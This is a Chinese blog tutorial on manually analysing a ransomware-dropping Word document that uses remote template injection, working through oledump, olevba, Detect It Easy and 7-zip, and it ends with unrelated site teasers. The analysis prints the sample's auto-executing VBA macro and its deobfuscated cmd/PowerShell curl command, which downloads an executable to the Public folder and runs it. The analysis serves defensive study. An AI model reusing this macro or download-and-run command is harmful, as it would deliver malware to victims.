恶意勒索Word文档模版注入分析

文章目录

  • 前言
    • 1、工具:
    • 2、IOC样本:
    • 3、样本提取
    • 4、恶意文档分析参考手册
  • 恶意的文档执行流程
  • 一、使用 OLEDUMP 和 OLEVBA 分析Word 文档
    • 1、OlEDUMP
    • 2、OLEVBA
  • 二、使用 Detect-It Easy 识别文件类型-简单
  • 三、使用 7-zip 探索 OOXML 文档并查找模板注入
  • 四、分析启用宏的模板+反混淆宏代码
  • 结束语:
  • 参考:


前言

此次是简单的分析过程,主要用于困难环境下使用手动进行分析,在根据实际情况对相关的文档进行恶意分析!那么在智能沙箱的情况下,几乎这些手动的行为都被忽略了,所以会一些手动技巧也是巩固自身的知识,不依赖沙箱等情况!

1、工具:

  • https://github.com/Hopyoprop/OLEDUMP-Python-3
  • https://github.com/decalage2/oletools/wiki/olevba
  • https://www.detect-it.ai/
  • 7-zip
  • https://gchq.github.io/CyberChef/

这里推荐一个数字取证工具包: https://mp.weixin.qq.com/s/rfs4-03tceN1hWcuU6BYNQ

2、IOC样本:

Word 样本 SHA256:ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103勒索文本 SHA2561d9ddc7850fd9451d2c5d5cfed16de514a85f9ef285441fe53fec4ecc99f50e1 勒索软件 SHA2560dd36a058705717a7d84622f9745b85277c37a07ad830a6648a01ef6e679324a

在这里插入图片描述
在这里插入图片描述

3、样本提取

https://tria.ge/s 下载样本需要注册,我这里直接使用谷歌进行注册,下载样本的时候会提示有解压密码 infected
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

4、恶意文档分析参考手册

已和文章进行资源绑定,需要的自行下载
1


恶意的文档执行流程

在这里插入图片描述

一、使用 OLEDUMP 和 OLEVBA 分析Word 文档

1、OlEDUMP

     工具介绍:OLEDUMP 是一个用于分析 OLE(对象链接和嵌入)文件的 Python 工具,也称为结构化存储或复合文件二进制格式。它是多个工具的软件包,包括 olevba、oleid、rtfobj 和 clsid,有助于检查和提取此类文件中的信息。
     OLE 文件广泛用于 Microsoft Office 等应用程序。例如,.doc、.xls、.ppt 等都是 OLE 文件,而最近的 .docx、.xlsx 等在 ZIP 格式中使用 XML7。
OLEDUMP 的一种常见用途是解析和转储 OLE 文件的流。它允许使用“-s”选项选择特定流,后跟流编号,并使用“-S”转储该流中的字符串。
     它还包括允许使用 YARA 规则、插件和解码器来进一步从 OLE 文件中提取和解码数据的功能。例如,它可用于从 Office 文档中提取 VBA 宏、URL 和 XOR 键。
以下是将 OLEDUMP 与 ZIP 存档中的 PE 文件一起使用的示例:“oledump.py -s 14 -D detector_ah.py RECHNUNG_vom_18122014.doc.zip”,其中 oledump 分析流 14 并应用“ah.py”解码器。从MZ和PE头可以识别嵌入文件是PE文件。

C:\Users\otsan\Desktop\OLEDUMP-Python-3-master\OLEDUMP-Python-3-master>oledump.py C:\Users\otsan\Desktop\240111-zcnywsgbej_pw_infected\244e475d884c455bb1fbad1a4294f21c.docx

在这里插入图片描述
尝试提取和分析文档中的所有嵌入式对象和宏,如果没有则会返回空!

2、OLEVBA

     工具介绍:olevba 是一个脚本,用于解析 OLE 和 OpenXML 文件,例如 MS Office 文档(例如 Word、Excel),检测 VBA 宏,以明文形式提取其源代码,并检测与安全相关的模式,例如自动执行宏、可疑 VBA恶意软件使用的关键字、反沙箱和反虚拟化技术以及潜在的IOC(IP 地址、URL、可执行文件名等)。它还检测和解码几种常见的混淆方法,包括 Hex 编码、StrReverse、Base64、Dridex、VBA 表达式,并从解码的字符串中提取 IOC。 Excel 和 SLK 文件也支持 XLM/Excel 4 宏。

C:\Users\otsan\Desktop\OLEDUMP-Python-3-master\OLEDUMP-Python-3-master>olevba C:\Users\otsan\Desktop\240111-zcnywsgbej_pw_infected\244e475d884c455bb1fbad1a4294f21c.docx
olevba 0.60.1 on Python 3.9.1 - http://decalage.info/python/oletools
===============================================================================
FILE: C:\Users\otsan\Desktop\240111-zcnywsgbej_pw_infected\244e475d884c455bb1fbad1a4294f21c.docx
Type: OpenXML
No VBA or XLM macros found.

在这里插入图片描述

No VBA or XLM macros found.这意味着该文档中可能没有包含任何恶意的宏代码。olevba 工具主要用于检测文档中的恶意宏代码,如果没有检测到宏代码,则可能该文档不包含恶意内容,或者恶意代码采用了其他形式进行隐藏。

二、使用 Detect-It Easy 识别文件类型-简单

     工具介绍:Detect It Easy 是一款便携式开源加壳标识符实用程序,用于快速定义文件类型等。它配备了一个简单的界面,可以通过许多其他工具来帮助轻松处理。例如,您可以轻松地导入、导出、提取带有清单和版本的资源,使用十六进制反汇编器,执行各种相关搜索(ANSI、链接、UNICODE 和加密),并在易于阅读的图表上查看熵计算百分比率。Detect It Easy 可以轻松地从内容中识别 200 多种文件类型。
在这里插入图片描述

三、使用 7-zip 探索 OOXML 文档并查找模板注入

     使用 7-Zip 打开 OOXML 文件(如 docx、xlsx、pptx)后,可以看到该文件是一个 ZIP 容器,其中包含了多个 XML 和文本文件 。要查找模板注入,你需要找到包含内容的 document.xml 文件 。在该文件中,你可以查找 <w:template> 标签,该标签用于指定文档模板 。如果该标签存在,则说明该文档是从模板生成的 。

     需要注意的是,OOXML 文件格式较为复杂,直接查找和解析 XML 标签可能会存在一定的困难 。因此,你可以使用 Apache POI 库来读取和解析 OOXML 文件 ,该库可以轻松地获取文档的内容、样式、格式等信息 。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、分析启用宏的模板+反混淆宏代码

在这里插入图片描述
在这里插入图片描述

C:\Users\otsan\Desktop\240111-zcnywsgbej_pw_infected>olevba fgi5k8.dotm
olevba 0.60.1 on Python 3.9.1 - http://decalage.info/python/oletools
===============================================================================
FILE: fgi5k8.dotm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
lxj1wl5o = "dnw64"
olekMnaj2d = "Fle3kmg9a76z"
erxi = Chr(Asc(Left(Application.Path, 1)) - 15)
hbi6omfd1 = Replace(":7dnw64C" & lxj1wl5o & "4D", "dnw64", "2")
Set knbiyq = GetObject("new" & hbi6omfd1 & "D5-D70A-438B-8A42-984" & CLng(1.9) & erxi & "B88AFB" & CInt(8.1))
lxj1wl5o = "C:\Users\Pub"
garz = lxj1wl5o & "lic\cw3fd.exe"
g6lfk4m304sk = Replace("cmd /c pow^lxj1wl5ors^hlxj1wl5oll/W 01 c^u^rl htt^ps://llxj1wl5oarndash.825tlxj1wl5ostsitlxj1wl5os.com/b/abc.lxj1wl5o^xlxj1wl5o -o " & garz & ";" & garz, "lxj1wl5o", "e")
knbiyq.exec g6lfk4m304sk
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|GetObject           |May get an OLE object with a running instance|
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|exec                |May run an executable file or a system       |
|          |                    |command using Excel 4 Macros (XLM/XLF)       |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |cw3fd.exe           |Executable file name                         |
+----------+--------------------+---------------------------------------------+

这段VBA宏代码是Microsoft Word文档的自动执行宏,但其中包含了一些恶意的行为迹象,逐行分析代码的功能:

  1. lxj1wl5o = "dnw64":给变量 lxj1wl5o 赋值为字符串 “dnw64”。
  2. olekMnaj2d = "Fle3kmg9a76z":给变量 olekMnaj2d 赋值为字符串 “Fle3kmg9a76z”。
  3. erxi = Chr(Asc(Left(Application.Path, 1)) - 15):根据当前应用程序的路径,获取其第一个字符的 ASCII 码,然后减去 15 并转换为字符。这个值将被用于后续操作。
  4. hbi6omfd1 = Replace(":7dnw64C" & lxj1wl5o & "4D", "dnw64", "2"):将字符串 “:7dnw64C” 后接 lxj1wl5o 变量的值 “dnw64” 替换为 “2”,然后将结果赋给 hbi6omfd1 变量。
  5. Set knbiyq = GetObject("new" & hbi6omfd1 & "D5-D70A-438B-8A42-984" & CLng(1.9) & erxi & "B88AFB" & CInt(8.1)):通过 GetObject 函数获取一个对象,对象名称是由前述变量拼接而成的。这可能是用来调用某种外部对象或程序。
  6. lxj1wl5o = "C:\Users\Pub":将 lxj1wl5o 变量重新赋值为 “C:\Users\Pub”。
  7. garz = lxj1wl5o & "lic\cw3fd.exe":拼接字符串,将 “C:\Users\Pub\lic\cw3fd.exe” 路径赋给 garz 变量。
  8. g6lfk4m304sk = Replace("cmd /c pow^lxj1wl5ors^hlxj1wl5oll/W 01 c^u^rl htt^ps://llxj1wl5oarndash.825tlxj1wl5ostsitlxj1wl5os.com/b/abc.lxj1wl5o^xlxj1wl5o -o " & garz & ";" & garz, "lxj1wl5o", "e"):构建一个命令字符串,并将其中的 “lxj1wl5o” 替换为 “e”。
  9. knbiyq.exec g6lfk4m304sk:执行上述命令字符串。

在这里插入图片描述

g6lfk4m304sk = Replace("cmd /c pow^lxj1wl5ors^hlxj1wl5oll/W 01 c^u^rl htt^ps://llxj1wl5oarndash.825tlxj1wl5ostsitlxj1wl5os.com/b/abc.lxj1wl5o^xlxj1wl5o -o " & garz & ";" & garz, "lxj1wl5o", "e")

在这里插入图片描述

g6lfk4m304sk = Replace("cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://learndash.825testsites.com/b/abc.e^xe -o " & garz & ";" & garz, "e", "e")

结束语:

在这篇文章中,我们使用了一系列工具和技术来分析恶意的 Word 文档。首先,我们使用了 OLEDUMP 和 OLEVBA 工具来检测文档中是否包含恶意的宏代码。然后,我们使用 Detect-It Easy 来识别文件类型,确认文档的类型。接着,我们使用 7-Zip 探索 OOXML 文档,查找是否存在模板注入。最后,我们分析了启用了宏的模板,并尝试反混淆宏代码,从中发现了一些恶意行为的迹象。

通过这些分析工具和技术,我们能够更好地了解恶意文档的执行流程和行为特征,帮助我们识别和应对潜在的威胁。同时,通过手动分析的过程,我们也能够提高自己的安全意识和技能,不仅仅依赖于自动化工具,更能够在复杂的环境中进行恶意样本分析和应对。

参考:

  • https://quentinkaiser.be/reversing/security/malware/macros/2017/01/29/macro-doc-analysis/
  • https://infosecwriteups.com/maldoc101-malicious-macros-analysis-with-oletools-8be3cda84544
  • https://www.joesandbox.com/analysis/search?q=ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103
  • https://www.virustotal.com/gui/file/ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103/detection
  • https://bazaar.abuse.ch/sample/ee02e5051243512ec5a1839afc6b304b55fb7f14ad43ae84d53eb315c9674103/
  • https://bufferzonesecurity.com/the-beginners-guide-to-ooxml-malware-reverse-engineering-part-1/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/588664.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

程序员为什么要一直写 bug ?

程序员并不是故意写bug的&#xff0c;bug的产生通常是由多种因素导致的&#xff0c;例如&#xff1a; 需求理解不足&#xff1a;如果程序员没有完全理解项目的需求或者功能要求&#xff0c;可能会在编程过程中遗漏一些重要的细节&#xff0c;导致bug的产生。编程经验不足&…

Three.js真实相机模拟

有没有想过如何在 3D Web 应用程序中模拟物理相机&#xff1f; 在这篇博文中&#xff0c;我将向你展示如何使用 Three.js和 OpenCV 来完成此操作。 我们将从模拟针孔相机模型开始&#xff0c;然后添加真实的镜头畸变。 具体来说&#xff0c;我们将仔细研究 OpenCV 的两个失真模…

是谁?写的Java神作一出版就获Jolt图书大奖【抽奖赠书】

送书活动 1️⃣参与方式&#xff1a;点此参与抽书抽奖 2️⃣获奖方式&#xff1a;小程序随机 抽5位&#xff0c;每位小伙伴一本《Effective Java中文2024版》 3️⃣活动时间&#xff1a;截止到 2024-4-6 12:01:00 注&#xff1a;所有抽奖活动都是全国范围免费包邮到家&#xff…

openldap(一):简介和安装

目录 1 OpenLDAP简介1.1 LDAP介绍1、什么LDAP2、为什么要使用LDAP3、LDAP 的特点4、LDAP常用关键字5、LDAP的objectClass6、LADP使用场景 1.2 OpenLDAP介绍1、什么OpenLDAP2、OpenLDAP特点3、OpenLDAP的组件 2 OpenLDAP安装3 简单使用3.1 创建用户1、创建ou2、创建Group 3、创建…

Oracle基础-PL/SQL编程 备份

1、PL/SQL简介 PL/SQL块结构 约定&#xff1a;为了方便&#xff0c;本文后面把PL/SQL简称PL。 PL程序都是以块&#xff08;BLOCK&#xff09;为基本单位&#xff0c;整个PL块分三部分&#xff1a;声明部分&#xff08;使用DECLARE开头&#xff09;、执行部分(以BEGIN开头)和异…

springboot之RESTful接口与Swagger

一、RESTful GET获取资源、POST新建资源、PUT更新资源、DELETE删除资源。 RESTful两大特性 1、安全性&#xff1a;GET请求不会引起资源本身改变。 2、幂等性&#xff1a;对一个接口请求和多次请求返回的资源应该一致。 2xx&#xff1a;成功 4xx&#xff1a;客户端错误。 …

windows 设置共享文件夹

1、选择您要共享的文件夹&#xff0c;并右键点击该文件夹。在弹出的菜单中&#xff0c;选择“属性”选项。属性窗口中&#xff0c;选择“共享”选项卡 2、在共享选项卡中&#xff0c;点击“高级共享”按钮&#xff0c;勾选“共享此文件夹”选项。可以根据需要设置共享文件夹的…

全数字化病理,“根深”才能“叶茂”

现代医学之父William Osler曾言&#xff1a;病理学乃医学之本。 作为研究人体疾病发生的原因、发病机制、病理变化以及疾病过程中机体的形态结构、功能代谢变化和病变转归的一门基础医学科学&#xff0c;病理学一直被视为基础医学与临床医学之间的“桥梁学科”&#xff0c;在医…

数码论坛系统的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)电子科技数码爱好者交流信息新闻畅聊讨论评价

本项目包含可运行源码数据库LW&#xff0c;文末可获取本项目的所有资料。 推荐阅读300套最新项目持续更新中..... 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含ja…

【turtle海龟先生】神奇的“圆”,画,太极圈,铜钱古币

turtle画圆三步法 步骤: 1、导入turtle库 2、确定半径&#xff0c;画圆(circle ) 3、结束(done ) turtle 库中提供一个直接画圆的函数 turtle.circle&#xff08;半径&#xff09;#半径单位为像素 例&#xff1a; turtle.circle ( 100 ) 表示绘制一个半径为100像素长度的圆形 …

用于自动驾驶,无人驾驶领域的IMU六轴陀螺仪传感器:M-G370

用于自动驾驶,无人驾驶的IMU惯导模块六轴陀螺仪传感器:M-G370。自2020年&#xff0c;自动驾驶,无人驾驶已经迎来新突破&#xff0c;自动驾驶汽车作为道路交通体系的一员&#xff0c;要能做到的就是先判断周边是否有障碍物&#xff0c;自身的行驶是否会对其他交通参与成员产生危…

【解决问题】排查linux文件手动删除文件,但是文件标记为deleted,资源未释放

背景&#xff1a; 生产环境我们把程序生成的数据文件手动删除后&#xff0c;但是空间并没有释放&#xff0c;导致硬盘被占用&#xff0c;不够用 问题排查&#xff1a; 1.查看占用文件状态 使用命令&#xff1a; lsof | grep deleted 查看 文件已经删除了&#xff0c;但是都是…